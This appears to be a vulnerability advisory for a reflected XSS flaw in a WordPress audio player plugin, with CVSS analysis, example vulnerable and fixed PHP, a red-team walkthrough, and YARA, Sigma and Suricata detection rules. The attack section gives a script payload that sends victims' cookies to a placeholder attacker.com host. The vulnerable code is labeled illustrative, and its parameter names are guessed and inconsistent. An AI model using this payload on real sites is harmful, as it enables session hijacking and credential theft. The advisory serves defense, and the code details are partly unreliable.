CVE-2025-54056

Executive Summary

CVE-2025-54056 is a reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup Responsive HTML5 Audio Player PRO With Playlist plugin (slug: lbg-audio2-html5), a WordPress plugin. The vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript into a web page via a crafted URL, leading to session hijacking, credential theft, or defacement. The flaw exists in versions from n/a through 3.5.8. No official patch has been released, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – injected script can affect other resources
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: High. Although user interaction is required, the low complexity and network attack vector make this a viable phishing or social engineering vector.

Deep Dive & Mechanics

The vulnerability resides in the lbg-audio2-html5 plugin, which provides a responsive HTML5 audio player with playlist functionality. The plugin fails to properly sanitize user-supplied input in certain parameters (likely id, playlist, or url) before reflecting it in the generated HTML page. An attacker can craft a URL such as:

https://victim.com/?lbg-audio2-playlist=<script>alert('XSS')</script>

When the victim visits this URL, the injected script executes in the context of the victim's browser, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the user.

The root cause is the use of echo $_GET['param'] or similar unsanitized output functions without proper escaping or validation.

Vulnerable vs. Patched Code

Vulnerable Code (example from version <= 3.5.8):

<?php
$playlist = $_GET['playlist'];
echo '<div id="audio-player" data-playlist="' . $playlist . '">';
?>

Patched Code (hypothetical fix):

<?php
$playlist = isset($_GET['playlist']) ? esc_attr($_GET['playlist']) : '';
echo '<div id="audio-player" data-playlist="' . $playlist . '">';
?>

The fix uses esc_attr() to HTML-encode attribute values, preventing script injection. Alternatively, wp_kses_post() or sanitize_text_field() could be used depending on context.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a WordPress instance with the vulnerable plugin (version 3.5.8 or earlier).
2. Craft Payload: Create a URL with a malicious script:

   http://target-site/?lbg-audio2-playlist=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Deliver: Send the link via email, social media, or a phishing campaign.
4. Execute: When the victim clicks the link, the script executes and exfiltrates cookies.

No public exploit code is available. The above is a conceptual example.

Blue Team (Defense & Detection)

1. Monitor Logs: Look for unusual URL parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing lbg-audio2-playlist with suspicious patterns.
3. User Training: Educate users not to click on unsolicited links.
4. Plugin Hardening: Disable the plugin until a patch is available, or apply a virtual patch via WAF.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing lbg-audio2-playlist= followed by <script> or javascript:.
• HTTP Referer: Suspicious referrers from known phishing domains.
• Server Logs: 404 errors for non-existent plugin files (if attacker probes for version).
• Cookie Exfiltration: Outbound connections to unknown IPs/domains containing cookie data in GET parameters.

Detection Engineering

YARA Rule

rule CVE_2025_54056_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against lbg-audio2-html5 plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54056"
    strings:
        $param1 = "lbg-audio2-playlist="
        $xss1 = /<script[^>]*>/
        $xss2 = /onerror\s*=\s*["']/
        $xss3 = /onload\s*=\s*["']/
    condition:
        $param1 and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: Reflected XSS Attempt Against lbg-audio2-html5 Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-54056
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "lbg-audio2-playlist="
        c-uri|contains|any:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of playlist names containing similar strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54056 Reflected XSS Attempt"; flow:to_server,established; content:"lbg-audio2-playlist="; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the lbg-audio2-html5 plugin until a patched version is released.
2. Virtual Patching: Use a WAF to block requests containing lbg-audio2-playlist= with XSS patterns.
3. Code Fix: Apply input sanitization using esc_attr(), sanitize_text_field(), or wp_kses_post() in all plugin output functions.
4. Update: Monitor the vendor's website or WordPress plugin repository for an official update.
5. User Awareness: Train users to avoid clicking suspicious links.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert